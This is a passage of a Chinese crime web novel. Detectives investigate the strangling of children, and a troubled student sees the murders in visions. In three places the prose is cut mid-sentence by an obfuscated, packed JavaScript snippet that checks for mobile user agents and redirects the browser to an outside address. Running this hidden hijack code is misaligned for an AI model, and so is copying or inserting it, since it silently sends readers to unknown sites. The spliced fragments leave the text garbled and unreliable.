齐翎眼前一亮,大步走过去,掏出警官证,“你!我有事情问你,” 他进入警校学习的第一天,老师就曾告诉过他,出色的警察天生是有第六感的。正如一些罪犯也有天生灵敏的第六感或者说反侦察意识,作为猫抓老鼠中的猫,警察也有。 在关键时候,视网膜会主动去观察视野中的小细节,最后转化为一种分析力,帮助他们快速锁定凶手。 而他的直觉果然没错,那名员工确实不正常,正在动作缓慢地补货,一见到他和警官证,脸色瞬变,第一个反应就是拔腿想跑。 齐翎和前辈自然又默契地交换了一个眼神,长方形的货柜上摆满了食物和水,一人走前,一人绕后,形包抄之势……几乎不费任何吹灰之力,就把人逮住了,一个箭步冲上去锁住胳膊。 这种做贼心虚的样子,谁见了不起疑,恐怕这就是吕嘉乐案的嫌疑人了。他们运气可真好,刚叹息线索半断不断,下一秒就峰回路转。 想到这里,齐翎用了点力气:“老实交代,你昨天在什么地方?” 大多数罪犯对正义凛然的警局有畏惧之心,李生也不意外。 被包抄后他一下子就蔫了,被制服后更是感到胳膊一疼,痛得他眼泪都要飙出来了,立刻双手举起:“我招!我招!昨天晚上我……” 他瘫在地上,语无伦次又一五一十地交代了自己昨天晚上干什么。他说超市下班后,他经过了一个没路灯的居民区,看到别的屋子都亮了,就那屋子没亮,心想估计主人没回来,一时间心生歹念。 也许是想着“老实交代能减轻刑罚”,李生把自己作案动机说了后,还把自己怎么入屋盗窃的手段说了,然后没等两名警官反应过来,他已经低下头痛哭流涕,开始卖惨忏悔,说自己留守儿童,从小家境贫寒,吃够了苦,洋洋洒洒的话语浓缩为一句话——都是我昨天不知道怎么了,就是鬼迷心窍了。 这个词仿佛有什么神秘的魅力,能把一切冲动和欲望的指使披上一层美化的外衣,甚至抹消罪恶。 “你偷窃?” 齐翎傻傻地反问,这算什么,本来要钓大鱼的,结果意外钓到一条小鱼。 老警察似乎很习惯了这种案中案了,上了一副银手铐,拍了拍新人的肩膀,经验丰富道:“给派出所打电话吧,通知他们把人带走。” 普通的小偷小摸案,涉案金额如果不是太大,不归他们负责,也不能因此耽误调查进度。 “什么警察同志你们不知道?”从两人对话中,李生也后知后觉,窥测到了某种真相,他被诈和了。 他当即高呼不公,痛哭流涕:“那我也太老实了,怎么一下子就交代了呢。”他运气也太差了。 他哭得凄惨,两名警察却不惯着他:“哭什么哭,今天你逃得过,难道明日、后日你就能逃过了?” 电话一打,派出所果然来人了。 两方寒暄了几句,民警一见到哀哀戚戚的李生,眉梢高挑,神色十分惊喜,笑道:“好啊,早上刚有人报案,说自己出差回家,发现家里被偷了,里屋一片狼藉,屋子里但凡有点价值的都遭了殃,我们还没来得及出警,你就自己送上门来。” “走,跟我们回所里一趟,有手有脚不去干点好事。” “老实,不要再侮辱老实这个词了。” 李生被带走了。 年轻警察的眉头皱得很夹死一只苍蝇,“这线索不就又断了……” 如果不是超市内部人员带走了吕嘉乐,又得从外来人,比如熟人和陌生人入手了,可涉及人际关系,他们只能指望另一队人马。正是去调查走访受害者吕嘉乐父母社会背景的那一队。 谁曾想,他们这里线索止步,另一队人马也毫无收获。 根据受害者父母的社会关系,这对父母虽然开办工厂树大招风,却没有什么潜在的仇家,即使加大调查力度,也没有遇到合适的嫌疑人。 全部都有不在场证明。 “不可能吧,这明明是一起很简单的案子啊。”连续几日没有斩获,新人警察是最受打击的,吃饭时也食不下咽,这可是他们初出茅庐的第一起案子啊!要写进职业生涯和履历里的啊! 想象一下,一个天真无知的孩子,放学后在外逗留一下,转眼就变成了河岸一具冰冷的尸体,生命停止在第八个年头。 从母亲嘴里,他们知道了受害者许多生平事迹,活泼开朗、助人为乐,可知道得越多,他们越是生气。 尤其是他们暂时连凶手是谁,凶手的影子都没看到,实在令人气馁! —— 江雪律去上学了,他的精神状态并没有好转,经过一夜的梦魇,他感觉自己的脑袋就像一面鼓,无数的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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—— 另一边,法医陈伶走了过来,摘下自己的手套,说出自己的结论:“进一步尸检出来了,受害者指甲缝被处理过了。” 被处理过,也就是没有NDA。 “通知家属来认尸吧。” 通知这件事被分给了齐翎,这看似是一件很简单的事,但也不简单。因为受害者家属的心情一般都很不好受——果不其然,吕嘉乐的父母崩溃了。 从打电话就听到悲痛欲绝的哭声。 到了现场,吕夫人眼泪更是不停掉下来,砸在地板上,溅出一朵朵泪花。即使用手捂唇,也无法掩盖那呜咽声。而吕先生一个七尺男儿,更是眼眶发红,站都站不稳,需要妻子帮忙搀扶,走到裹尸袋那短短的距离,都走得十分艰难。 似乎随时要晕厥过去。 “我的儿子!我的孩子,你死得好惨啊……” 都说男人有泪不轻弹,只是未到伤心处,儒雅的中年男人此刻跪在地上,伸出颤颤巍巍的大掌,抚摸儿子僵冷的脸庞。 他似乎强行忍耐,最后还是无法抑制地失声痛哭。 这一声声。 在场的新人警察都很不好受,因为感同身受,受害者家属的每一道哭声,落在他们心口泛起阵阵涟漪,蹂、躏着他们的内心。 他们的心都要碎了。 也让他们对凶手更加痛恨! 奈何没有线索!可年轻人最不缺的就是一腔孤勇和胆魄,他们相信,天网恢恢疏而不漏,只要给他们时间,迟早能抓到人。 齐翎一边递纸巾,一边安慰,可惜他不善言辞,此时也不知道说什么,最后千言万语只能化作一句保证:“请两位节哀,我们一定会将凶手绳之以法的!” 他不忘补充:“如果有遗漏的线索,请一定要及时告知我们!” “警察先生,我们家与人为善,真的没有跟别人结仇……”吕先生潸然泪下,不过在小警察的安慰下,他似乎挺过来了,拿纸轻轻揩泪。 见此,齐翎越发不好受。 年轻的警察安慰受害家属,却没看到法医陈伶和自己上司秦队,目光都已经落在他身边,更准确点,是丈夫的身上。 秦居烈那双黑瞳,目光更是恍若实质,明晃晃地落在受害家属那宽大的肩膀和至少一米八的个子。 他一言不发,只是想起资料页上的某一处细节,半晌他开了口,面容冷峻,声线沉稳,“吕先生,能否请你提供一下指痕对比?” 现场本沉浸在悲伤氛围中,这句话一出,简直如同晴天霹雳,好似飞机起飞前的前奏,耳穴俱是轰鸣声。劈散了所有悲伤,也把众人给劈蒙了, 一种荒谬感席卷而来,所有人满脸错愕,很快有人打破僵局,“不可能!” “为什么?”他冷酷无情的上司这样说道。 “因为虎毒不食子啊!”齐翎脱口而出。 丈夫还在错愕,妻子似乎联想到了什么,眼睛怔怔惊疑不定,眼泪下意识止住,随后她恶狠狠地剐了身边男人一眼。 7. 第七章 想到某种可能性,众人沉默,目光望向吕先生,现场气氛一瞬间冷场,被某种古怪的气息笼罩,空气一寸寸凝结。 吕先生似乎震惊太过了,他嘴唇颤动着,一句话都说不出,他刚想说,“怎么可能呢,不是我!你们怎么能怀疑我!” 他才刚经历了丧子之痛啊!你们当着我儿冰冷的遗体怀疑我? 他话还没出口,妻子比他动作更快,恨恨地咬唇,疯了似的扑过去,当着孩子的面就厮打起来,撕心裂肺地高声道:“不是你,是她对不对!你们两个背着我干了什么!你们是不是早嫌乐乐碍事了?如果不是乐乐,你早跟她远走高飞了吧!” 这句话说明了,吕先生确实有什么秘密,也可能有嫌疑。 “什么她啊他的,我什么都没干!”吕先生脸上被挠出两条长长的抓痕,他却顾不上,一边制住妻子,一边慌里慌张地否认了,不否认不行,在场警员目光炯炯地盯着他。 “不是吕先生!”齐翎也这样认为,他满脸写着不敢相信,虎毒不食子这句话,被他如车轱辘一般反复说。他可是从案情一开始跟到现在,验尸、看监控、走访、排查、通知家属来领尸每一个环节都没落下,跟吕先生有充分的接触机会,自诩有看穿人心的本事。 再怎么样也不可能……更何况吕先生他哭得那般伤心,一个人总不可能有两副面孔吧。 蒋敬也是刑警队一员,他恨铁不成钢地教训道:“你这孩子,我们也只是初步怀疑……”你急着跳出来做什么! 二十出头的人了,一点也不稳重。 “大胆假设,小心求证”一向是秦队的行事作风,假设时比谁都大胆,求证时又比谁都心思缜密。 齐翎还想说什么,他不完全是为吕先生辩白,他只是相信浓厚的血缘亲情,并想挽救自己岌岌可危的三观。 新人警察还是阅历单薄了点,那点心思蒋飞一眼就看穿,他道:“你难道没听过俄勒冈州的小伊丽莎白案?如果不是一个快递盒暴露了异常,测谎仪都不能将嫌疑人定罪。” 毕竟嫌疑人擅长自我欺骗,或者说心理素质极高,也有可能是当年的测谎仪并不完善,以至于嫌疑人完美地通过了测谎。 这个例子一出,众人脸色严肃起来,他们当然听过! 这是一起发生在国外的知名案件,作为虎毒不食子的反面案例,犯罪心理学和动机剖析课上,每一位教授都必提的一个经典案子。 那是一个天气晴朗的早晨,21岁的凶手给自己可爱的女儿伊丽莎白(又叫小爱妮)穿好衣服,准备带她出门,结果因自己伤口被刀割伤流血而耽误了行程。她称就在自己进屋处理伤口的那一段时间,女儿失踪了,并言之凿凿女儿可能被人绑架了!她很痛苦,急得要发疯,歇斯底里地拨打了911报警电话。在警方派出大规模搜捕行动一无所获后,渐渐发现事情不对劲,便开始给这位母亲测谎。母亲通过了测谎。 事情也就不了了之,案件继续查下去。 两日后,母亲又报警说,自己收到了一个快递,里面是女儿的手套,她哭着说女儿一定已经死于非命。也是这个奇怪的快递让警方坚信母亲的嫌疑,一般母亲都不愿意将亲生骨肉往不好的方向猜测,这位母亲却只看到了一双手套,就认定女儿已经惨遭毒手。 果不其然,在一连串的审讯中,这位母亲最终承认了自己的罪行——什么女儿失踪都是她编造的谎言,她杀害了女儿并埋尸。 她的动机是什么——21岁的她认为单亲母亲的生活实在太累了,这个孩子就是一个小拖油瓶,给她带来了无数疲惫,带走了她的悠闲快乐。 她想跟一个男人结婚,在这个新家庭里,女儿的存在恐会碍事。是一块挡在她奔向美好生活的绊脚石,而她选择,亲自搬开这块石头。 这个案例中的动机,也因此广为流传。 这世上有“父母之爱子,则为之计深远”,自然也有嫌孩子碍事,想一脚踢开的父母。 更别说,他们市局都破过人世间多少诡异离奇的案子了。 众所周知,当案件暂时没有嫌疑人,又找不到动机时,熟人家属就是最大的嫌疑人。纵使调查一时陷入僵局,也不能放过任何一个人的嫌疑。 吕先生没听过这个案子,他就是一个普普通通的商人,哪里知道这种事,听得目瞪口呆,好半天才回过神。 蒋飞平静地讲述这个案件时,一边余光小心观察,见吕先生额头渗出冷汗,神色不太自然,心里有底了。 不是他,可这个父亲恐怕也干净不到哪里去。 他们干这行的,永远不会低估了人性复杂的一面。 毕竟人之所以为人,正因为我们有着复杂的情感。 法医陈伶走了过来,态度温和又彬彬有礼,“吕先生请。” “真的不是我!……”吕先生口气绝望又无奈,他最多是时常觉得儿子碍事。自己每次去探望情人时,面对儿子懵懵懂懂又似乎洞察一切的纯澈目光,他总感到不自在,心想儿子太聪明了也不好。 他常常想,自己有两个儿子。嘉乐是大儿子,可当时他初为人父没有经验也不知道怎么养,采取的是放纵式育儿。等知道怎么养了,孩子也大了,有自己想法了,不是很会撒娇,不如他和情人生的小儿子贴心。 当然了,想归想,他又不是什么魔鬼,更不是那个俄勒冈州那经典案例里的反面父母,他私生活有瑕,却从没想过杀害自己的亲生儿子! 顶着众人的目光,吕先生比谁都想摆脱自己嫌疑,于是他急急忙忙伸出手。众人屏息以待,齐翎也是如此。 吕先生的手,颤颤巍巍覆上去时,他发觉这个季节分明是炎炎秋日,他长袖下却起了一身鸡皮疙瘩,同时,他听到自己的心“扑通扑通”在跳,全身血液缓缓变冷,他在期待又抗拒什么结果,他也不知道。 好似这个指痕比对,将会颠覆他接下来的一系列三观…… 他佯装平静。 注视着吕先生的手覆上去,完美地覆盖了那青紫色的指痕,相似却又不完全一致。凶手的手指要再细一点。他一颗激烈跳动的心又缓慢回到了胸膛里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639420|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心里升起一种失落又庆幸的心情。 庆幸在于,孩子父亲不是凶手,没有颠覆他的三观。 失落在于,孩子父亲不是凶手,案子还得继续查下去。 奈何没有嫌疑人啊! 凶手到底是谁啊! 另一边,技侦那里有了新进展,从超市拷贝回来的影像,他们翻来覆去看了上百遍,几乎是逐帧逐帧看,统计人头,眼睛都要看瞎了。 庆幸的是,他们没有白忙活,“秦队,我们统计了超市出去和进来的人头数。当时超市总共有47名孩童,走出来的却只有45个!” “确定没看漏?”英俊的男人眉间皱出一个“川”字。 顶着硕大的青灰色黑眼圈,两名技侦皆挺直胸口保证道:“没有,像素很差,可发现这个人头差后,我们来回又看了好几遍,确定没有遗漏。” 这确实是一个新线索,足以说明,吕嘉乐果然走了没监控的后门,同时也伴随了一个很不妙、很棘手的猜测—— 吕嘉乐走了后门,还有一个孩子跟他一起走了后门。 “那是一个戴帽子的孩子,看不出是男是女……”技侦把模糊的画面放大。 吕嘉乐已经被证明失踪后被杀害,那另一个孩子呢? 现场的警员为这个猜测头皮发麻,瞬间想都不敢想! 可现实不容他们不想,很快就有人报案了,是一名周末来到河流野钓的钓鱼佬,他说自己鱼钩扯线,本以为上来一个大家伙,正兴奋得拍大腿呢,结果钓上来一个——当场连心爱的钓具都顾不上了,连忙跑去报警。 钓鱼佬一路高喊“死人啦死人啦”,那疯疯癫癫的样子闹得很大,等警方抵达现场时,局面差点不能控制。警戒带后全是一片黑压压的围观群众,人头攒动,还有人仗着自己站的石头没有围上警戒线,光明正大地踩在石头上探头探脑。 秦居烈一看皱起了眉,实在不明白,这年头的人怎么什么都能围观,他想也不想,扭过头喝令维持秩序的警员把警戒线缺口补上。 法医拎着勘察器材,急急忙忙越过警戒带,拨开芦苇丛走向河流。 远远的只能看见,河流里躺着一个小女孩,她娇小的身躯以天为被,以地为席,以河流为枕,在水中沉沉浮浮,似浪花又似水草。法医呼吸一窒,同样的手法,同样的死后抛尸。明明死相是那般凄惨,却又透着一股悲壮,显然是凶手有意为之。 气氛凝重几乎让人窒息。 齐翎浑身打了个激灵,心中一痛,脚踩在小碎石下意识退了几步。 第二名受害者真的出现了…… 警方疏散群众及时,许多人来不及看到小女孩的样子就被法医挡住了,可这难不住混在人群里的记者。 那名记者麻溜地爬上树,调整了一下角度,身体微微前倾,努力寻找最佳的角度,只听一声清晰的“咔嚓”,所有画面收入囊中,他笑了起来。 ——久违的头条,我来了! 他拍摄的照片之清晰,一定会造成轰动,整个江州市人人都能看到! 8. 第八章 一切如记者所愿。 第二天平静许久的江州市,如同一块巨石猛地砸入湖水中掀起了惊涛骇浪,无数报纸的头条都报道这起孩童连环杀人案,小女孩没打码或者浅大码的照片铺天盖地。记者占据了一处高位,拍摄的角度极好,包括了三方人物:乌泱泱的围观群众、一脸凝重的警方以及冰冷僵硬、毫无生气的受害人,一看就惨绝人寰。 记者拍完,也非常自满,认为这是三年内自己拍摄得最好的照片了。 不少市民展开报纸,看到头版时,一瞬间都惊得失去语言。 连忙阅读起文字,“近来我市出现了一个连环杀手,他下手的目标多为儿童,死因为机械性窒息,即扼颈……两次下手地点分别是燕台区和千灯区,凶手是谁暂不知晓,却很熟悉本地,很有可能是江州市本地人……” 记者想要流量、想要曝光,他全部得到了。 地铁上,上班族看到了手机上的新闻推送,学生想打开搜索引擎,搜索引擎下的hot词条也是这个案件。连学习英文的学渣,都能结合时事,在词典上多学几个词,譬如murder(谋杀)、seriesmurdercase(连环杀人案)等。 只要手指点进去,富有冲击力的照片就会映入眼帘。 谁看了都会吓一跳或者倒吸一口气。 更别提报纸里提到的两个区,燕台区和千灯区的人都要吓死了,他们本地竟然出了一个杀人魔! 一时间,闹得满城风雨。 江州市是人口超两千万的繁华现代都市,经济发达,人口流动多。鳞次栉比的摩天高楼、流光溢彩的商业区和吸纳明星各大体育赛事的巨蛋演出场矗立在城里,赫然是一座灯红酒绿、灯火通明的不夜城,吸引了不少人来工作定居。 城市光鲜亮丽的霓虹灯之下,人口多了,难免滋生一些混乱与犯罪。 命案并不稀奇,这起案子骇人听闻之处,在于受害者是个孩子,还是连环命案,自然掀起了不小的风波。 早起江雪律下楼时,一路都听到了卖早餐的、超市顾客、上班族等,家家户户脸色惊骇,嘴里在讨论杀人案。 也有不少人心头起火,破口大骂道:什么畜生,居然对孩子下手! 江雪律一开始不明所以,他早上想吃面,便踏入了路边一家面馆。正好他那桌子边有一份报纸,他一边细嚼慢咽地吃面,一边打开报纸来看。 这一看,他的呼吸停止了,那双黑色眼眸下意识瞪大,死死地盯着小女孩的照片,神色十分震惊,似乎非常不敢置信自己看到了什么。 晨起鱼肚白的曦光在城市地平线升起,整个天地透亮。 他的脚也踩在地上,一种如履平地、很踏实的触感。 可江雪律似乎已经不相信自己的幻觉了,他摇了摇头,以为青天白日的自己还在梦魇中,慢慢把报纸合上,三秒后又重新打开。 照片没有消失…… 还是小女孩浸泡在水里的尸体。 江雪律这下总算意识到不对劲了,他深呼了几口气,再度翻起印有油墨气息的报纸,逐字逐句地阅读报纸上的文字。 怎么会这样……他的梦境照进了现实…… 可是为什么,报纸只披露了一部分,他明明看到了很多东西。 他看到了一个身穿漂亮裙子的小女孩,背着一个粉色的书包独自走路,在这四下无人处,忽然感到有一股力道袭来。小女孩心里一惊,还没来得及回首,后脑勺就遭遇了一次重击,这一击打痛入骨髓,她的意识也瞬间被切断……在小女孩软软倒地的地方,出现了一双男人的鞋,隐约还有一道慢条斯理说话声,“第二个……就当最后一个……” 他嘴里说着最后一个,却反手又抓了三个。 这到底怎么一回事? 江雪律整个人精神恍惚起来。 旁人只能看到,少年那一双手攥得死紧,因为过于用力,手背上那青色血管都清晰可见。 身旁那一碗面,渐渐放凉。 他的样子也不奇怪,面馆老板娘哀叹一声:“造孽啊,今天我把报纸放在桌上,每一桌的客人都吓得吃不下。” 老板娘的丈夫一边熟练地下面捞面浇上臊子,一边不满地嘟囔:“那就别放了,快收了。” 本来就不该放,一大早看到死人的照片,谁还有胃口吃东西。本来放免费的报纸,初衷是为了引流,今天全成了赶客。 另一边。 芦苇丛生的河流边,围观群众将现场围堵得水泄不通,谁也没有散去。 验尸还在继续,小女孩被打捞上来,她浑身湿漉漉,即使躯体被水浸泡得发白,也难以掩盖,这是一个天生丽质、聪明漂亮的小姑娘。 法医的初步检验结果已经出来了。 “死因一致,不过后脑勺有一处击打伤,应该是先击打使其昏迷,而后扼喉致死。” “这附近有提取到脚印吗?”齐翎不忍心再看死者,开口问道。众所周知,脚印是痕迹检验中很重要的一个证据,从脚印能推算出凶手的身高体重,不过很快他就知道自己问了一个很傻的问题。 秦队向指挥中心申请派出警犬搜查队,并叫蒋飞去向上级打电话。 “向省局申请一名河流专家。” 申请河流专家做什么? 齐翎更蒙了。 蒋飞恨铁不成钢地给了他后脑勺一巴掌,“你是不是傻啊,这里又不是第一抛尸现场,脚印没有参考价值。” 从尸体携带的泥沙和全身的肿胀程度可以看出,尸体被冲到下游地带。他们才要请省队的河流专家来此处勘察,通过死亡时间、河流流速和地形来确定真正的抛尸地。 只有找到正确的抛尸地,凶手的行动轨迹才能暴露无遗,比如凶手是在河流什么地点抛尸的,上中游的哪一处河段,警犬才能沿着气味搜寻过去,而凶手抛尸必须有交通工具。 接下来就能排查监控,排查交通工具! 齐翎:“哦哦哦明白了。” 河流专家一出马,很快就获悉了第一抛尸现场。警犬也狂吠几声,通过气味在不远处的树林,找到了一点蛛丝马迹。 “秦队!我们在附近树林找到了一个书包,疑似受害者生前携带,被凶手丢弃!” 秦居烈低头一看,透明的大证物袋里装着一个粉红色的小书包,其他几个略小的证物袋里装的则是蝴蝶结镶水晶发夹、宝石蓝饮水壶、泡泡糖等物品。 这不是疑似了,这粉色紫色蓝色等色彩鲜艳的随身物件,百分之百属于受害者小女孩的东西,从中也可以看出,小女孩的家境不菲。 “受害者父母说,曾给死者买过一部儿童手机,手机呢?没有发现?” 这种儿童手机虽然有点侵犯人权,价格也不菲,但销量一直居高不下,广受家长青睐。爱不释手的青少年儿童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639421|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不知道,里面芯片装有GPS定位装置,他们无论去往什么地方,行踪都掌握在父母手里。 这一点厂家不说,唯有购买者父母才知道。 警察们连连摇头。 那部手机恐怕被凶手丢了或者毁了。 “没有手机……”众人只能看到,上司若有所思的英俊面孔,一个垂眸间,这个冷峻的男人似乎陷入了沉思。 此地树林繁茂,艳阳高悬,光线透过树林缝隙投射下斑斑亮影,勾勒出对方蓝灰色制服下的一丝不苟和脖颈处极为立体挺拔的五官轮廓。 不管是出于什么目的毁去手机,这手机的秘密,凶手很可能知道…… 他走过的土地湿润,留下了一处约27的脚印,齐翎已经痕检入脑了,他盯着上司的脚印发呆:他不是痕检员,可他也有粗略的技巧,从脚长可知,秦队的身高足有一米八六以上,难怪走哪都居高临下。 倏然,男人那双薄薄的眼皮忽然抬起来,透出一分凛冽,眼神幽深,仿佛凭直觉捕捉到了什么,吓了齐翎一跳,秦队没理他,兀自望向警员:“看热闹的人没有散去?” 警员愣了一下,回答:“没有,不知道怎么回事,人还越来越多了,说也说不听,赶都赶不走。” 他都不想抱怨了,那叫一个人山人海! 话音刚落,他见到上司脸色沉郁,登时一颗心惴惴不安。 还没等小警员问出什么事了,就见秦居烈眯起双眸,那眉如剑般扬起,忽然转身离开。那双腿大步往前,几乎快飞起来,脚步毫不迟疑,整张脸也笼罩着一片强势锋锐。 那强烈的气场,引得周遭警员一个个起身,下意识地服从,“怎么了秦队?” 众人还没反应过来,一连串语速很快,但十分清晰的命令传入耳畔,“剩下警员听令,跟我一起排查围观群众!没有洗清嫌疑的一个都不能走!” 男人视线笔直地望向人海,从一群人身上掠过,似乎想透过一个个看热闹的无辜人脸,捕捉到那个潜藏在人群里的罪犯。 听到这个命令,众人的不知所措,一下子变成了恍然大悟和深深懊恼:是啊他们怎么忘记了一点! 犯罪心理学上有一条颠扑不破的经验教训——连环案杀手很有可能会回到犯罪现场。人多就代表容易浑水摸鱼,凶手有极大的概率会重返现场,趁机欣赏一番自己创造出的杰作。历史上无数的罪犯就曾这般嚣张,喜欢这种游走在钢丝之上的刺激感,也享受这种在警方眼皮子底下逃之夭夭的得意。 想到这一点,警员们目眦欲裂,连忙左顾右盼,企图从一张张被询问的脸上,找出谁才是罪犯。 可惜太迟了。 在警方布下天罗地网之前,那个凶手似乎早已洞悉了意图,提前一步抽身离开。 江雪律此时正在上物理课,物理老师在讲台上激情澎湃口若悬河。不是说物理课没什么魅力,也许有吧,可周围同学睡倒了一片。江雪律没有睡,他盯着写满公式的黑板,眼神陷入了恍惚。 他看到了自己,在一片人山人海中。 显得谨小慎微,毫不起眼。他不动声色地询问警方的调查进度,主要方向,他们的视线集中在什么地方,他都在一点一滴地摸索干净,然后…… 等警方驱逐他时,他才笑一笑,慢悠悠地转身离开。他越走越远,直到旁人看不到他的地方,他那佝偻的身躯才慢慢站起来,重新变得高大—— 9. 第九章 这一番搜寻自然一无所获。 警方脸色难看。 家属前来认领尸体,法医按照约定走流程:“请问这是你们女儿花年年的衣服和随身物品吗?” 受害者家属沉默地点了点头,面容憔悴,眼眶里布满了红血丝。 老太太和做母亲的声音艰涩,如数家珍道:“这个蝴蝶结发夹是我给她买的,那个书包是她看了电视吵着要,我老公连夜驱车去外省给她买的……”点点滴滴竟都记得一清二楚。 为什么记得那么清楚,因为那是他们放在心尖上的宝贝啊。 “尸体在河流里浸泡过了,面部肿胀,身体出现大片的尸斑,可能已经不如生前漂亮,你们……要做好心理准备。”法医叹了一口气,继续走流程。 受害者家属们脸上出现了片刻的空白和迷茫,似乎想不出女儿会变得多么丑陋。明明小姑娘活在他们心目中的样子,是那般娇俏可爱、笑靥如花,可等到法医拉开裹尸袋。 那一瞬间冲击如山呼海啸而来,家属们直接崩溃了。 悲痛欲绝的哭声回响在室内。 上了年纪的老太太受不得刺激,见到孙女的惨状,当场就晕厥过去。身旁的女警连忙将人扶住。 看似最坚强的母亲脸上表情也是如遭重击,身子摇晃了一下。 周围的警员刚想冲上去,却看到花夫人跪在女儿身边,伤心难以抑制,哭得不能自已。众目睽睽之下,她伸出干净白皙的双手,不顾小女孩双脸的肿胀不堪入目,捧着孩子的脸颊轻轻抚摸,贴向自己胸口。姿势熟练得不像话,脸庞落着滚烫的泪,浑身溢满母性的光辉。 手指成梳,还温柔地梳着小女孩的头发。 这是一个近似哺乳的动作,齐翎心中酸涩,忍不住想:也许花年年小朋友,生前就是喜欢将肉乎乎的小脸蛋靠在母亲的胸口吧。 他能想象那是一幅多么温馨孺慕的画面。 想到这里,齐翎咬牙切齿:那个杀人凶手,那个该死的畜生、泯灭人性的畜生,已经连续杀了两个人了,他们警方迟早要逮住他! 周围的人也下意识红了眼眶,别过头不忍心多看。“请节哀”很简单的三个字,沉重如同铁锤,说出来千难万难。 齐翎感觉自己又遭遇一场良心的谴责。 这一场下来心力交瘁,这个年轻人的心脏似被一只无形的手紧紧攥住,喉咙也堵得很。 他找上自己的前辈,“飞哥,下次别喊我通知家属认尸了,我看了难受。” 齐翎是这批新人里最受宠,也是运气最好的,赶上分局人手充足,市局缺人手,就从分局一路调入市局。再加上他性格直率,敢于表达自我,别的前辈看了他,忍不住就想多带一带。 “为什么?”蒋飞虚长几岁,却不惯着这群小年轻,谁不是这样过来的。 “因为……”齐翎支支吾吾。 他们可是警校刚毕业的新生啊,正是初生牛犊不怕虎的年龄,本来满脑子的雄心壮志,想抓到凶手扬眉吐气,证明自己一番。结果案子还没破一个,先送别了两位受害者,来自生命的敬畏和家属的崩溃,把他们毒打一番。 蒋飞挑了挑眉:“才两场你就受不了了?你不知道,你们秦队和我当年初出茅庐,可是整整面临了四五十个受害者和上百名家属,多的是人来警局闹事,医院里停尸间都住满了人……”正好,他谈性极佳,从口袋里抽了一根烟,咔嚓一声点燃打火机,在烟雾缭绕中喷出一口放松神经的烟,将当年的案子娓娓道来。 四五十个受害者!?上百名家属!? 新人们瞠目结舌,难以想象那得是什么惊天大案,才能有那么多的受害者。 蒋飞点头:“确实是一桩大案,牵连了整座城……案子解决了之后,后遗症还持续好多年,无数厂商倒闭,某高校对讳莫如深。从那天起,不少人见白色变。本地人应该清楚。” 当年每个人都以为这是一起简单的食物中毒案,谁曾想后续发展之离奇曲折,追凶之艰难坎坷,后遗症之波澜壮阔,简直令人难以想象,以至于时隔快十年了警局内部还津津乐道。 到底是什么案子,难道是…… 本地的新人若有所思,绞尽脑汁地回忆。 “没错,就是那案子!” 余光见到某个挺拔的身影朝这里走来,蒋飞忽地噤声,掸了掸自己身上不存在的烟灰,摆起脸色:“剩下的,改日再给你们说,你们别一副听故事的嘴脸,一个个的是不是想偷懒啊?去去去,先把手头的案子破了!” 他很不耐烦地挥手,作凶神恶煞的驱赶状。 这变脸比翻书快,新人警察们纷纷瞪大眼睛,脚步踌躇着,你看看我,我看看你,刚想听话散去。 谁曾想下一秒,那挺拔的身影又走了。蒋飞的谈心又回来了:“等等,你们也忙十几个小时了,一会儿还得开会,咱忙里偷闲,抽点时间聊会儿天不犯法。” 啊? 怎么又想聊了呢?新人们不明所以,又折回来听故事。 “当年你们秦队面临的事比你们大多了……” 生怕说服力不够,蒋飞想了想,从手机相册里翻出几张像素清晰的老照片。也不算老照片,最多八年珍藏。 “你们秦队当年是这样的!”蒋飞偷偷摸摸地亮出手机。 秦居烈之名,在全国范围内都如雷贯耳。江州市警局尤盛,世人皆知秦居烈成熟稳重、升迁如神,还是一个敏锐完美的工作狂,无论是跨省缉凶,还是屡破奇案,都让对方积累了厚重的威严。年纪轻轻就身居高位,性情冷若冰霜,众人敬之、畏之。 很少有人还记得对方年少时的样子。 职场八卦谁不爱听呢,手机屏幕那么小,人人却凑过脑袋挤着要看。 只见蒋飞那卡顿严重的手机上播了一段长视频,那是一名二十出头的年轻人,头发修得很时尚,面带笑意,笑容爽朗。 对方没穿制服,只穿了简单的白T恤,显得身姿矫健,浑身上下都透着一股跃跃欲试。黑色警服用晾衣架撑起,挂在木板床的床头栏杆上。对方在叠被子,叠出一块完整四四方方的豆腐块,抽空还扫了个地,动作十分利落又贤惠。 从侧面看,那张英俊的脸有几分紧绷,一股满满胶原蛋白的年轻气息,远没有后来的冷硬刚肃。 这是秦队??? 齐翎等人大吃一惊,纷纷瞪大眼睛。 蒋飞插空说:“这是刚见习的时候,我和你们秦队在分局宿舍里住着呢,每天只睡六小时就得出门。你们秦队那时候脾气张扬,比你们还虎!” 话音刚落,视频中人似乎敏锐地发现有人在拍他。 青年转过头来,那张脸更是暴露无遗,盛满睥睨,说了三字——别拍了。 